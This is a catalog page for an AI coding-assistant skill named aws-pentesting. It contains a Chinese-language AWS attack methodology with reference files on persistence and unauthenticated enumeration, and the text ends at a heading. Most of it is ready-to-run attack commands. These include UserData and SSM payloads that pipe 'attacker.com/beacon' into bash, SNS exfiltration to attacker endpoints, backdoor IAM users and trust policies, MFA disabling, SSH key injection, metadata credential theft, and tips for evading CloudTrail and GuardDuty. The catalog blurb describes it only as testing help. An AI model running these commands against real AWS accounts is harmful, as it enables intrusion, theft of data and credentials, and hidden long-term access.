
Aws Pentesting
- 24 installs
- 1.6k repo stars
- Updated July 19, 2026
- wgpsec/aboutsecurity
Helps with testing & qa tasks during AI-assisted development.
About
aws-pentesting is a Claude Code skill for testing & qa. It helps solo builders move faster with AI-assisted coding.
- aws-pentesting
- Testing & QA
- AI-coding skill
Aws Pentesting by the numbers
- 24 all-time installs (skills.sh)
- +2 installs in the week ending Jul 27, 2026 (Skillselion tracking)
- Ranked #1,397 of 2,153 Testing & QA skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/wgpsec/aboutsecurity --skill aws-pentestingAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 24 |
|---|---|
| repo stars | ★ 1.6k |
| Last updated | July 19, 2026 |
| Repository | wgpsec/aboutsecurity ↗ |
What it does
Helps with testing & qa tasks during AI-assisted development.
Files
AWS 云环境渗透测试方法论
AWS 是全球最大的公有云平台,承载了大量企业核心业务系统。其超过 200 项服务构成了庞大的攻击面——IAM 策略配置错误、S3 Bucket 暴露、EC2 元数据泄露、Lambda 函数 URL 未鉴权等问题在实际评估中频繁出现。本技能以攻击阶段(Phase)为主线,组织从"零凭据"到"完全控制"的完整渗透路径,并通过决策树引导到专项技能深入。
深入参考
识别到具体攻击阶段后,加载对应参考文档获取完整技术细节:
- 未授权枚举技术清单(25+ 服务) → 读 references/unauthenticated-enum.md
- 持久化技术清单(22+ 服务) → 读 references/persistence-techniques.md
Phase 0: 攻击面判断
拿到一个 AWS 相关目标后,首先判断当前手持的资产类型,决定进入哪个攻击阶段:
当前持有什么?
├── 无任何凭据
│ ├── 有目标域名/IP → Phase 1(未授权枚举)
│ ├── 有 SSRF 漏洞 → 直接打元数据服务获取凭据 → Phase 2
│ └── 仅知道组织名称 → OSINT + Phase 1
│
├── 有 AWS AK/SK(AKIA 开头 = 长期密钥)
│ └── → Phase 2(凭据验证与权限评估)
│
├── 有临时凭据(ASIA 开头 + SessionToken)
│ └── → Phase 2(注意:有效期通常 1-12 小时,需快速行动)
│
├── 在 EC2/Lambda/ECS 实例内部
│ └── → 通过元数据获取绑定的 IAM Role 凭据 → Phase 2
│
└── 有 AWS SSO Token / IAM Identity Center 会话
└── → Phase 2(需额外确认可访问的账户和角色)AWS 凭据类型速查
| 凭据类型 | 识别特征 | 有效期 | 获取方式 |
|---|---|---|---|
| 长期 AK/SK | AccessKeyId 以 AKIA 开头,20 字符 | 永久(直到轮换) | 控制台创建 / 泄露获取 |
| 临时 STS 凭据 | AccessKeyId 以 ASIA 开头 + SessionToken | 15分钟 ~ 36小时 | AssumeRole / GetSessionToken |
| IAM Role(实例绑定) | 通过 169.254.169.254 获取 | 自动轮换 | EC2/Lambda/ECS 元数据 |
| SSO Token | JSON 格式,含 accessToken 字段 | 通常 8 小时 | ~/.aws/sso/cache/ |
| Cognito Token | JWT 格式 Identity/Access Token | 1 小时 | Cognito Identity Pool |
Canary Token 检测
在使用获取到的凭据前,应先判断是否为蜜罐令牌(Canary Token)。使用蜜罐凭据会立即触发告警。常见特征:
- AccessKeyId 与已知蜜罐服务(如 Thinkst Canaries、SpaceCrab)的格式匹配
- 来自异常渠道(故意暴露的配置文件、过于明显的泄露点)
- 可通过
aws sts get-access-key-info --access-key-id AKIA...查询所属账户,与已知蜜罐账户比对
Phase 1: 未授权枚举
在没有任何 AWS 凭据的情况下,仍可对目标进行大量信息收集。AWS 有 25+ 服务存在未授权枚举面。
高价值枚举目标
| 目标 | 攻击方式 | 价值 |
|---|---|---|
| S3 Bucket | 域名枚举 + 暴力猜解 + DNS CNAME | 数据泄露、获取凭据文件 |
| Lambda Function URL | https://{id}.lambda-url.{region}.on.aws/ | Web 漏洞利用 |
| Cognito User Pool | 尝试注册新用户 | 获取认证身份 → IAM Role |
| Cognito Identity Pool | 获取未认证 IAM Role | 直接获取 AWS 凭据 |
| EC2 公开端口 | Nmap + 服务指纹 | SSRF → 元数据 → IAM 凭据 |
| 公开 AMI / EBS 快照 | describe-images --executable-users all | 提取硬编码凭据 |
| API Gateway | https://{id}.execute-api.{region}.amazonaws.com/ | API 漏洞利用 |
| CloudFront 分发 | https://{id}.cloudfront.net | Origin 发现、缓存投毒 |
S3 快速枚举流程
# 1. 检查 Bucket 是否存在并可列出
aws s3 ls s3://TARGET-BUCKET --no-sign-request
# 2. 如果可列出,递归下载敏感文件
aws s3 cp s3://TARGET-BUCKET/ ./loot/ --recursive --no-sign-request \
--exclude "*" --include "*.env" --include "*.pem" --include "*.key" \
--include "*credentials*" --include "*config*"
# 3. 通过 Bucket 反查 Account ID
pip install s3-account-search
s3-account-search arn:aws:iam::YOUR_ACCT:role/YOUR_ROLE s3://TARGET-BUCKETCognito 快速利用
# 如果发现 Identity Pool ID(格式:region:guid),获取未认证凭据
aws cognito-identity get-id --identity-pool-id "us-east-1:xxxxxx-xxxx-xxxx-xxxx-xxxxxxxxx"
aws cognito-identity get-credentials-for-identity --identity-id "us-east-1:yyyyy"
# 如果发现 User Pool Client ID,尝试注册
aws cognito-idp sign-up --client-id CLIENT_ID --username test@test.com --password 'P@ssw0rd123!'→ 完整的 25+ 服务枚举清单,读 references/unauthenticated-enum.md
Phase 2: 凭据验证与权限评估
获取凭据后,第一步是验证有效性并评估权限范围。
2.1 凭据验证
# 身份确认(最基础的检查)
aws sts get-caller-identity
# 返回示例:
# Account: 123456789012
# UserId: AIDA...
# Arn: arn:aws:iam::123456789012:user/developer
# 判断凭据类型
aws sts get-access-key-info --access-key-id AKIA...2.2 权限枚举
# 方法一:直接查询 IAM 策略(需要 iam 读权限)
aws iam get-user
aws iam list-attached-user-policies --user-name USERNAME
aws iam list-user-policies --user-name USERNAME
aws iam list-groups-for-user --user-name USERNAME
# 方法二:如果是 Role
aws iam list-attached-role-policies --role-name ROLENAME
aws iam list-role-policies --role-name ROLENAME
# 方法三:暴力枚举权限(无需 IAM 读权限)
# enumerate-iam 工具会尝试调用大量 API 来探测可用权限
pip install enumerate-iam
enumerate-iam --access-key AKIA... --secret-key ...2.3 权限评估决策树
当前身份权限如何?
├── 有 iam:* 或 AdministratorAccess → 已是管理员,直接 Phase 4
├── 有 iam 读权限但无写权限 → 枚举所有用户/角色/策略,寻找提权路径 → Phase 3
├── 有特定服务权限(如 s3:*、ec2:*、lambda:*)
│ ├── 检查是否有 iam:PassRole → 可能通过 PassRole 提权 → Phase 3
│ ├── 有 ec2:RunInstances + iam:PassRole → EC2 提权 → Phase 3
│ └── 可直接利用当前权限进行后渗透 → Phase 4
└── 权限极低 → 尝试暴力枚举更多权限,或回到 Phase 1 寻找更多入口参考 aws-iam-policy-analysis 技能,进行深度策略分析
参考 cloud-iam-audit 技能,进行跨云 IAM 审计
参考 cloud-aksk-exploit 技能,获取 AK/SK 完整利用链
2.4 自动化审计工具
| 工具 | 用途 | 命令 |
|---|---|---|
| enumerate-iam | 暴力枚举可用权限 | enumerate-iam --access-key ... --secret-key ... |
| Pacu | AWS 利用框架(枚举+提权+后渗透) | pacu → import_keys → exec iam__enum_permissions |
| ScoutSuite | 多云安全审计报告 | scout aws -p PROFILE |
| Prowler | AWS 安全最佳实践检查 | prowler aws --profile PROFILE |
| CloudFox | 攻击路径发现 | cloudfox aws --profile PROFILE all-checks |
| PMapper | IAM 提权路径图分析 | pmapper --profile PROFILE graph create |
Phase 3: 提权
AWS 提权的核心思路:利用当前权限去获取更高权限。AWS 有数百个权限,其中很多组合可以形成提权路径。
常见提权路径概览
| 提权路径 | 关键权限 | 原理 |
|---|---|---|
| iam:CreatePolicyVersion | 创建新的策略版本 | 新建一个 Admin 权限的策略版本并设为默认 |
| iam:AttachUserPolicy / AttachRolePolicy | 附加托管策略 | 直接给自己附加 AdministratorAccess |
| iam:PutUserPolicy / PutRolePolicy | 设置内联策略 | 给自己写入 Allow * 策略 |
| iam:PassRole + ec2:RunInstances | PassRole 到 EC2 | 启动绑定高权限 Role 的 EC2 实例 |
| iam:PassRole + lambda:CreateFunction | PassRole 到 Lambda | 创建绑定高权限 Role 的 Lambda 并执行 |
| sts:AssumeRole | 角色链 | 切换到更高权限的 Role |
| iam:CreateLoginProfile | 为用户创建控制台密码 | 接管其他用户的控制台访问 |
| iam:UpdateAssumeRolePolicy | 修改角色信任策略 | 使自己可以 AssumeRole 到高权限角色 |
PassRole 提权原理
iam:PassRole 是 AWS 提权中最核心的权限之一。它允许用户将一个 IAM Role "传递"给 AWS 服务。如果用户有 iam:PassRole 加上某个服务的创建权限(如 ec2:RunInstances、lambda:CreateFunction),就可以创建一个绑定了高权限 Role 的资源,然后通过该资源间接获得高权限。
攻击者拥有: iam:PassRole + lambda:CreateFunction + lambda:InvokeFunction
│
├─ 1. 创建 Lambda 函数,绑定一个拥有 AdministratorAccess 的 Role
├─ 2. Lambda 代码中调用 IAM API 给攻击者账户添加 Admin 策略
└─ 3. 调用该 Lambda → 攻击者获得管理员权限参考 aws-iam-privesc 技能,获取 46 个服务的详细提权路径
Phase 4: 后渗透与持久化
获得较高权限后,进入后渗透阶段。目标是数据获取、横向移动和建立持久化。
4.1 数据发现与获取
优先搜索哪些数据源?
├── S3 Bucket → 文档、备份、日志、配置文件
├── RDS / DynamoDB → 业务数据库
├── Secrets Manager / Parameter Store → 凭据和配置
├── EBS 快照 → 挂载后可读取完整文件系统
├── CloudWatch Logs → 应用日志中的敏感信息
└── CodeCommit → 代码仓库4.2 横向移动
AWS 环境中的横向移动主要发生在两个维度:
跨账户移动:
- 利用
OrganizationAccountAccessRole(管理账户 → 成员账户) - 利用跨账户角色信任策略(
sts:AssumeRole) - 利用共享资源(S3 Bucket Policy、KMS Key Policy)
跨服务移动:
- EC2 实例上的 SSM Agent → SSM RunCommand 横向到其他实例
- ECS/EKS 任务角色 → 容器逃逸到宿主机
- Lambda 函数角色 → 修改函数代码执行任意操作
4.3 持久化技术概览
| 服务 | 持久化方法 | 隐蔽性 |
|---|---|---|
| IAM | 创建后门用户/角色、添加 Access Key、修改信任策略 | 低(IAM 变更易被审计) |
| Lambda | Layer 后门、Extension 注入、版本/别名权重分配、异步自循环 | 高 |
| EC2 | UserData 后门、AMI 后门、SSH Key 注入、安全组连接跟踪 | 中 |
| STS | Role Chain Juggling(角色链循环续期) | 高 |
| CloudFormation | CDK Bootstrap 信任外部账户 | 中 |
| Cognito | 添加外部身份提供商、修改风险配置 | 高 |
| SSM | CreateAssociation 定时执行命令 | 中 |
| EventBridge | 定时规则触发恶意 Lambda/ECS 任务 | 中 |
| SNS/SQS | 添加外部订阅者持续窃取消息 | 高 |
| ECR | 仓库策略后门、镜像投毒 | 高 |
→ 完整的 22+ 服务持久化技术清单,读 references/persistence-techniques.md
参考 aws-post-exploit 技能,获取数据窃取与横向移动深度指南
附录: AWS 速查
常用 AWS CLI 命令
# 身份与权限
aws sts get-caller-identity # 当前身份
aws iam get-user # 当前 IAM 用户信息
aws iam list-attached-user-policies --user-name USER # 附加的策略
aws iam list-roles # 列出所有角色
aws organizations list-accounts # 列出组织内所有账户
# 枚举资源
aws s3 ls # 列出所有 S3 Bucket
aws ec2 describe-instances --region REGION # 列出 EC2 实例
aws lambda list-functions --region REGION # 列出 Lambda 函数
aws rds describe-db-instances --region REGION # 列出 RDS 实例
aws secretsmanager list-secrets --region REGION # 列出 Secrets
# 凭据操作
aws sts assume-role --role-arn ARN --role-session-name s # 切换角色
aws sts get-session-token --duration-seconds 43200 # 获取临时凭据
# 元数据服务(从 EC2 实例内部)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/AWS 服务缩写对照表
| 缩写 | 全称 | 攻击面关键词 |
|---|---|---|
| IAM | Identity and Access Management | 权限策略、角色信任、提权 |
| STS | Security Token Service | 临时凭据、AssumeRole |
| EC2 | Elastic Compute Cloud | 实例、元数据、安全组、AMI |
| S3 | Simple Storage Service | Bucket 策略、ACL、公开访问 |
| Lambda | Lambda (Serverless) | 函数 URL、Layer、环境变量 |
| RDS | Relational Database Service | 公开访问、快照泄露 |
| EKS | Elastic Kubernetes Service | RBAC、ServiceAccount |
| ECS | Elastic Container Service | 任务定义、IAM Role |
| ECR | Elastic Container Registry | 镜像仓库策略 |
| CloudFront | CloudFront (CDN) | Origin 暴露、缓存规则 |
| SNS | Simple Notification Service | Topic 策略、订阅者 |
| SQS | Simple Queue Service | 队列策略、消息窃取 |
| SSM | Systems Manager | RunCommand、Parameter Store |
| KMS | Key Management Service | Key Policy、Grant |
| Cognito | Cognito | User Pool、Identity Pool |
注意事项
CloudTrail 审计感知: 几乎所有 AWS API 调用都会被 CloudTrail 记录。以下操作会产生高可见性日志事件:
- IAM 变更(CreateUser、AttachPolicy、CreateAccessKey)
- 角色切换(AssumeRole)
- 跨区域操作
部分 API 在 CloudTrail 中为"数据事件"(如 S3 GetObject),默认不记录但组织可能启用了。
GuardDuty 检测风险: GuardDuty 会检测以下行为:
- 凭据在异常 IP/区域使用
- EC2 实例与已知恶意 IP 通信
- S3 大规模数据导出
- IAM 异常权限变更
- DNS 隧道流量
速率限制: AWS API 有速率限制(通常每秒 5-20 次调用),暴力枚举时需注意节流,否则会触发 ThrottlingException 并可能引起告警。
区域差异: AWS 资源是区域隔离的。枚举时需遍历所有启用的区域(aws ec2 describe-regions),不要只检查 us-east-1。全球服务(IAM、Route53、CloudFront、STS)不受区域限制。
AWS 持久化技术清单
本文档覆盖 22+ AWS 服务的持久化技术。获得初始访问后,攻击者利用这些技术确保即使凭据被轮换或部分权限被撤销,仍能维持对目标环境的访问。
IAM 持久化
IAM 是最直接的持久化目标,但也是最容易被审计发现的。
创建后门用户/Access Key
# 创建隐蔽用户(选择不引人注目的名称)
aws iam create-user --user-name svc-cloudwatch-metrics
aws iam attach-user-policy --user-name svc-cloudwatch-metrics \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws iam create-access-key --user-name svc-cloudwatch-metrics
# 为现有用户创建额外的 Access Key(每个用户最多 2 个)
aws iam create-access-key --user-name existing-admin
# 为现有用户创建控制台密码
aws iam create-login-profile --user-name existing-user \
--password 'P@ssw0rd!' --no-password-reset-required后门角色信任策略
修改 IAM Role 的信任策略,允许外部账户 AssumeRole:
# 在现有合法 Principal 列表中追加攻击者账户
aws iam update-assume-role-policy --role-name target-role \
--policy-document file://backdoor-trust.json
# backdoor-trust.json 中的 Principal.AWS 数组追加 "arn:aws:iam::ATTACKER_ACCT:root"后门策略版本
IAM 托管策略支持最多 5 个版本。创建包含管理员权限的非默认版本,需要时切换:
aws iam create-policy-version --policy-arn POLICY_ARN \
--policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}' \
--no-set-as-default
# 需要时激活:aws iam set-default-policy-version --policy-arn POLICY_ARN --version-id v2后门身份提供商
如果账户已信任 OIDC/SAML 提供商(GitHub、Okta 等),扩大信任条件:
aws iam add-client-id-to-open-id-connect-provider \
--open-id-connect-provider-arn PROVIDER_ARN \
--client-id "attacker-application-id"禁用 MFA
aws iam deactivate-mfa-device --user-name target-user --serial-number MFA_ARN
aws iam delete-virtual-mfa-device --serial-number MFA_ARNSTS 持久化
临时凭据维持
临时凭据不出现在任何列表中,是隐蔽的持久化方式:
aws sts get-session-token --duration-seconds 129600 # 最长 36 小时Role Chain Juggling(角色链循环)
如果两个角色相互信任(A 可 AssumeRole 到 B,B 可 AssumeRole 到 A),攻击者通过不断交替 AssumeRole 无限续期凭据。每次切换都获得新的过期时间。即使原始凭据被撤销,只要信任关系不变就能持续访问。
# 自动化工具
pip install aws-role-juggler
aws_role_juggler.py -r arn:aws:iam::ACCT:role/RoleA arn:aws:iam::ACCT:role/RoleBLambda 持久化
Lambda 是 AWS 中最灵活的持久化载体,提供至少 5 种方法。
Layer 后门
通过 Layer 注入恶意代码,函数执行时自动加载(Layer 内容挂载到 /opt/):
aws lambda publish-layer-version --layer-name "aws-sdk-patch" \
--zip-file fileb://layer.zip --compatible-runtimes python3.9
aws lambda update-function-configuration --function-name target-func \
--layers arn:aws:lambda:REGION:ACCT:layer:aws-sdk-patch:1Extension 注入
Lambda Extension 通过 Layer 部署到 /opt/extensions/,在函数执行前运行。可以窃取输入/输出数据、修改环境变量、向外部发送数据。
版本/别名权重后门
利用别名的权重路由,将少量流量导向后门版本:
# 创建后门版本 → 恢复原始代码为新版本 → 设置 1% 流量到后门版本
aws lambda update-alias --function-name target-func --name prod \
--routing-config AdditionalVersionWeights={"2"=0.01}
# 99% 请求正常,1% 执行后门代码异步自循环
配置 Lambda 的异步调用成功目标为自身,形成无外部调度器的持续循环:
aws lambda put-function-event-invoke-config --function-name target-func \
--destination-config '{"OnSuccess":{"Destination":"arn:aws:lambda:REGION:ACCT:function:target-func"}}'
aws lambda put-function-recursion-config --function-name target-func \
--recursive-loop Allow
aws lambda invoke --function-name target-func --invocation-type Event --payload '{}' /dev/null别名级资源策略后门
为特定版本添加资源策略,允许外部账户直接调用后门版本(不影响主版本流量):
aws lambda add-permission --function-name target-func --qualifier 2 \
--statement-id backdoor --action lambda:InvokeFunction \
--principal arn:aws:iam::ATTACKER_ACCT:rootEXEC_WRAPPER 持久化
通过 AWS_LAMBDA_EXEC_WRAPPER 环境变量指向 Layer 中的包装脚本,在运行时启动前执行:
aws lambda update-function-configuration --function-name target-func \
--environment Variables="{AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/wrapper}" \
--layers arn:aws:lambda:REGION:ACCT:layer:wrapper-layer:1EC2 持久化
安全组连接跟踪
已建立的反向 Shell 连接不会因安全组变更而中断——AWS 安全组对已建立连接使用连接跟踪机制,不会回溯断开。
UserData 后门
aws ec2 stop-instances --instance-ids i-xxx
aws ec2 modify-instance-attribute --instance-id i-xxx --attribute userData \
--value $(echo '#!/bin/bash
curl https://attacker.com/beacon | bash' | base64)
aws ec2 start-instances --instance-ids i-xxxAMI 后门 / Launch Configuration 后门
从已植入后门的实例创建 AMI,后续使用该 AMI 启动的所有实例都将包含后门。同理可后门 Launch Template 的 UserData 或 Key Pair。
SSH Key 注入
# EC2 Instance Connect(临时推送 SSH 密钥,有效期 60 秒)
aws ec2-instance-connect send-ssh-public-key --instance-id i-xxx \
--instance-os-user ec2-user --ssh-public-key file://attacker-key.pub
# 通过 SSM 添加持久化 SSH 密钥
aws ssm send-command --instance-ids i-xxx --document-name AWS-RunShellScript \
--parameters 'commands=["echo ssh-rsa AAAA... >> /home/ec2-user/.ssh/authorized_keys"]'Lifecycle Manager 自动共享
配置 DLM 定期创建 AMI/快照并自动共享到攻击者账户。
ReplaceRootVolume 隐蔽后门
替换运行中实例的根卷为攻击者控制的快照,实例保持原有 ENI、IP 和 IAM Role:
aws ec2 create-replace-root-volume-task --instance-id i-xxx --snapshot-id snap-ATTACKERVPN/VPC Peering
创建 Site-to-Site VPN 或 VPC Peering 直接接入目标网络。
SSM 持久化
State Manager Association
利用 SSM State Manager 创建定时关联,在托管实例上周期性执行命令:
aws ssm create-association --name AWS-RunShellScript \
--targets Key=InstanceIds,Values=i-xxx \
--parameters commands=["curl https://attacker.com/beacon | bash"] \
--schedule-expression "rate(30 minutes)" \
--association-name "cloudwatch-agent-update"修改现有 SSM Document
aws ssm update-document --name "target-document" \
--content "file://backdoored-doc.yaml" --document-version "\$LATEST"
aws ssm update-document-default-version --name "target-document" --document-version 2Maintenance Window 任务注入
在现有维护窗口中注册恶意任务,利用已有的定时调度:
aws ssm register-task-with-maintenance-window --window-id "mw-xxx" \
--task-arn "AWS-RunShellScript" --task-type "RUN_COMMAND" \
--targets "Key=WindowTargetIds,Values=target-id" \
--task-invocation-parameters '{"RunCommand":{"Parameters":{"commands":["malicious-cmd"]}}}' \
--max-concurrency 50 --max-errors 100CloudFormation 持久化
CDK Bootstrap 信任外部账户
CDKToolkit Stack 的 TrustedAccounts 参数允许外部账户通过 CDK 向目标账户部署任意资源:
cdk bootstrap --trust ATTACKER_ACCT_ID
# 或通过 AWS CLI:
aws cloudformation update-stack --stack-name CDKToolkit \
--use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=ATTACKER_ACCT_IDSNS 持久化
添加外部订阅者
# SQS 协议订阅自动确认(最隐蔽)
aws sns subscribe --topic-arn TOPIC_ARN --protocol sqs \
--notification-endpoint arn:aws:sqs:REGION:ATTACKER_ACCT:exfil-queue
# HTTP 订阅(需要确认)
aws sns subscribe --topic-arn TOPIC_ARN --protocol https \
--notification-endpoint https://attacker.com/collect选择性窃取(FilterPolicy)
通过过滤策略只窃取匹配条件的消息,降低流量和被发现风险:
aws sns set-subscription-attributes --subscription-arn SUB_ARN \
--attribute-name FilterPolicyScope --attribute-value MessageBody
aws sns set-subscription-attributes --subscription-arn SUB_ARN \
--attribute-name FilterPolicy --attribute-value '{"secret":["true"]}'修改 Topic 资源策略
修改 SNS Topic 资源策略,添加攻击者账户的 Publish/Subscribe 权限。
SQS 持久化
修改队列资源策略
在队列策略中添加攻击者账户的 SQS:* 权限,实现持续读取消息。
Dead Letter Queue 后门
将合法队列的 DLQ 重定向到攻击者控制的队列,处理失败的消息会被自动转发。
跨账户 Lambda 触发
配置攻击者账户的 Lambda 作为队列消费者,每条新消息触发攻击者的 Lambda。
ECR 持久化
仓库策略后门
aws ecr set-repository-policy --repository-name target-repo \
--policy-text '{"Version":"2012-10-17","Statement":[{"Sid":"bd","Effect":"Allow","Principal":"*","Action":["ecr:GetDownloadUrlForLayer","ecr:BatchGetImage","ecr:PutImage"]}]}'跨账户自动复制
配置 ECR 复制规则,将所有仓库自动同步到攻击者账户:
aws ecr put-replication-configuration --replication-configuration '{
"rules":[{"destinations":[{"region":"us-east-1","registryId":"ATTACKER_ACCT"}],
"repositoryFilters":[{"filter":"","filterType":"PREFIX_MATCH"}]}]}'Repository Creation Template 后门
为未来通过 Pull-Through Cache 或 Create-on-Push 自动创建的仓库预设后门策略。
ECS 持久化
定时恶意任务
通过 EventBridge 定时规则触发 ECS 任务执行:
aws events put-rule --name "metrics-collector" --schedule-expression "rate(1 day)"
aws events put-targets --rule "metrics-collector" --targets '[{
"Id":"t1","Arn":"CLUSTER_ARN","RoleArn":"EB_ROLE_ARN",
"EcsParameters":{"TaskDefinitionArn":"MALICIOUS_TASK_ARN","TaskCount":1}}]'Task Scale-In Protection
利用 UpdateTaskProtection 防止恶意任务被缩容或滚动更新替换,受保护任务在 desiredCount=0 时仍继续运行:
aws ecs update-task-protection --cluster CLUSTER --tasks TASK_ARN \
--protection-enabled --expires-in-minutes 1440 # 可反复续期Cognito 持久化
- 添加外部身份提供商:在 Identity Pool 中添加受控的 IdP,随时获取认证角色凭据
- 修改风险配置:禁用账户泄露检测避免告警
aws cognito-idp set-risk-configuration --user-pool-id POOL_ID \
--compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}KMS 持久化
Eternal Grant(永久授权)
创建多个包含 CreateGrant 权限的 Grant,形成自我续期能力。建议创建 10 个,便于监控是否被撤销后自动补充:
for i in $(seq 1 10); do
aws kms create-grant --key-id KEY_ID --grantee-principal ATTACKER_ARN \
--operations "CreateGrant" "Decrypt" "Encrypt" "GenerateDataKey"
done修改 Key Policy
在 KMS Key Policy 中添加攻击者账户的 Decrypt/Encrypt 权限。
其他服务速查
| 服务 | 持久化方法 |
|---|---|
| RDS | 公开快照(modify-db-snapshot-attribute --values-to-add all)、创建数据库后门用户、公开实例 |
| API Gateway | 修改资源策略、重定向 Lambda Authorizer、窃取/创建 API Key |
| S3 | 修改 Bucket Policy 允许外部账户、利用 S3 ACL |
| Step Functions | 修改状态机定义注入恶意步骤、别名重定向到后门版本 |
| Organizations | 利用 OrganizationAccountAccessRole 访问所有成员账户 |
# Organizations 跨账户接管
aws sts assume-role --role-arn arn:aws:iam::MEMBER_ACCT:role/OrganizationAccountAccessRole \
--role-session-name admin检测规避建议
| 策略 | 说明 |
|---|---|
| 选择低调的资源名称 | 使用 svc-、aws-、cloudwatch- 等看似合法的前缀 |
| 避免 IAM 频繁变更 | IAM 变更是 CloudTrail 告警最常捕获的操作 |
| 优先使用资源策略 | 修改 S3/SQS/SNS/KMS 资源策略比创建 IAM 实体更隐蔽 |
| 利用 STS 临时凭据 | 临时凭据不出现在任何持久化存储中 |
| 关注 CloudTrail 配置 | 确认哪些事件被记录,数据事件默认不记录 |
| 分散操作时间 | 避免短时间内大量操作引起告警 |
AWS 未授权枚举技术清单
本文档覆盖 25+ AWS 服务的未授权枚举与访问技术。在没有任何 AWS 凭据的前提下,攻击者仍可通过以下方法发现和利用暴露的 AWS 资源。
账户级枚举
Account ID 发现
Account ID(12 位数字)是 AWS 攻击的基础信息,可通过多种方式获取:
# 方法一:通过登录页面探测(200=存在,404=不存在)
curl -s -o /dev/null -w "%{http_code}" https://123456789012.signin.aws.amazon.com
# 也适用于别名
curl -s -o /dev/null -w "%{http_code}" https://company-name.signin.aws.amazon.com
# 方法二:通过公开 S3 Bucket 反查
pip install s3-account-search
s3-account-search arn:aws:iam::YOUR_ACCT:role/YOUR_ROLE s3://target-bucket
# 方法三:通过公开资源的错误信息
# 很多 AWS 错误响应会泄露 Account ID(如 SNS publish 错误)
# 方法四:通过公开快照
# 公开 EBS 快照、RDS 快照、AMI 的 OwnerId 字段包含 Account IDIAM 用户/角色名称枚举
利用 IAM 信任策略验证机制,可以在跨账户场景中枚举目标账户的用户和角色名称:
# 原理:创建角色时指定不存在的 Principal 会返回 MalformedPolicyDocument 错误
# 而指定存在的 Principal 会成功创建
# 使用 Pacu 自动化枚举
pacu
> run iam__enum_users --role-name YOUR_ROLE --account-id TARGET_ACCT --word-list /tmp/names.txt
> run iam__enum_roles --role-name YOUR_ROLE --account-id TARGET_ACCT --word-list /tmp/names.txtOIDC 联合身份配置错误
GitHub Actions OIDC 信任策略如果缺少足够的条件约束,任何 GitHub Actions workflow 都可以 AssumeRole:
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::ACCT:oidc-provider/token.actions.githubusercontent.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
}
}
}上述策略缺少 sub 条件,意味着任何 GitHub 仓库的 Actions 都可以获取该角色的凭据。另一种常见错误是使用通配符 "repo:org_name*:*"——攻击者可以创建名为 org_nameEvil 的组织来匹配。
S3 Bucket 枚举
发现 Bucket
# OSINT: 检查网站加载的资源
# 常见 URL 格式:
# http://s3.amazonaws.com/BUCKET_NAME/
# http://BUCKET_NAME.s3.amazonaws.com/
# CNAME 记录:resources.company.com → bucket.s3.amazonaws.com
# DNS 发现
dig company.com
nslookup IP_ADDRESS # 解析到 s3-website-REGION.amazonaws.com 说明是 S3
# 暴力枚举
s3scanner --threads 100 scan --buckets-file wordlist.txt | grep bucket_exists
# 在线搜索已公开的 Bucket
# https://buckets.grayhatwarfare.com测试 Bucket 权限
# 匿名访问(未授权)
aws s3 ls s3://BUCKET --no-sign-request
aws s3 cp s3://BUCKET/file.txt . --no-sign-request
# 任意 AWS 账户访问(已认证但跨账户)
aws s3 ls s3://BUCKET --profile any-aws-account
# 列出内容(浏览器直接访问)
# https://BUCKET.s3.amazonaws.com/ → 返回 XML 文件列表说明可列出
# 写入测试
aws s3 cp test.txt s3://BUCKET/ --no-sign-request通过 Bucket 提取 Account ID
利用 S3:ResourceAccount 策略条件键,可以逐位猜测 Bucket 所属的 Account ID:
pip install s3-account-search
s3-account-search arn:aws:iam::YOUR_ACCT:role/YOUR_ROLE s3://target-bucket
# 原理:构造带通配符的策略条件,逐位匹配 Account ID通过 Bucket 验证邮箱
# 利用 S3 ACL 的邮箱授权功能验证某邮箱是否为 AWS root 账户
# 如果邮箱有效不会报错;无效则返回错误
s3_client.put_bucket_acl(
Bucket="your-bucket",
AccessControlPolicy={
'Grants': [{
'Grantee': {'EmailAddress': 'target@company.com', 'Type': 'AmazonCustomerByEmail'},
'Permission': 'READ'
}],
'Owner': {'DisplayName': 'test', 'ID': 'your-canonical-id'}
}
)Lambda 未授权访问
公开 Function URL
Lambda 可以配置公开的 Function URL,无需任何认证即可调用:
URL 格式: https://{random_id}.lambda-url.{region}.on.aws/如果发现此类 URL,可以:
- 直接发送 HTTP 请求测试 Web 漏洞(SQL 注入、命令注入、SSRF)
- 通过
aws:ResourceAccount条件键逐位提取 Account ID
Public Lambda Layers
Lambda Layer 也可以被设置为公开共享。攻击者可以下载公开 Layer 分析其中的代码和凭据。
CloudFront 枚举
URL 格式: https://{random_id}.cloudfront.netCloudFront 作为 CDN 分发,其背后的 Origin 服务器才是真正的攻击目标。可以通过以下方式发现 Origin:
- 检查 HTTP 响应头中的
X-Amz-Cf-Id、Via等字段 - 错误页面可能暴露 Origin 域名(S3 Bucket 名、ALB 域名)
- 配置错误的 CloudFront 可能允许直接访问 Origin
Cognito 未授权枚举
Cognito 是 AWS 最常见的未授权攻击面之一,因为它本身就是面向未认证用户设计的。
Identity Pool 未认证角色
如果 Identity Pool 启用了未认证访问(很常见),攻击者仅需知道 Identity Pool ID 即可获取 AWS 临时凭据:
# Identity Pool ID 格式:us-east-1:xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
# 这个 ID 经常出现在前端 JavaScript 代码中
# 获取 Identity ID
aws cognito-identity get-id \
--identity-pool-id "REGION:POOL-GUID"
# 获取临时凭据
aws cognito-identity get-credentials-for-identity \
--identity-id "REGION:IDENTITY-ID"
# 这些凭据绑定了 Identity Pool 配置的未认证 IAM 角色
# 常见权限:S3 读写、DynamoDB 访问、API Gateway 调用等User Pool 未授权注册
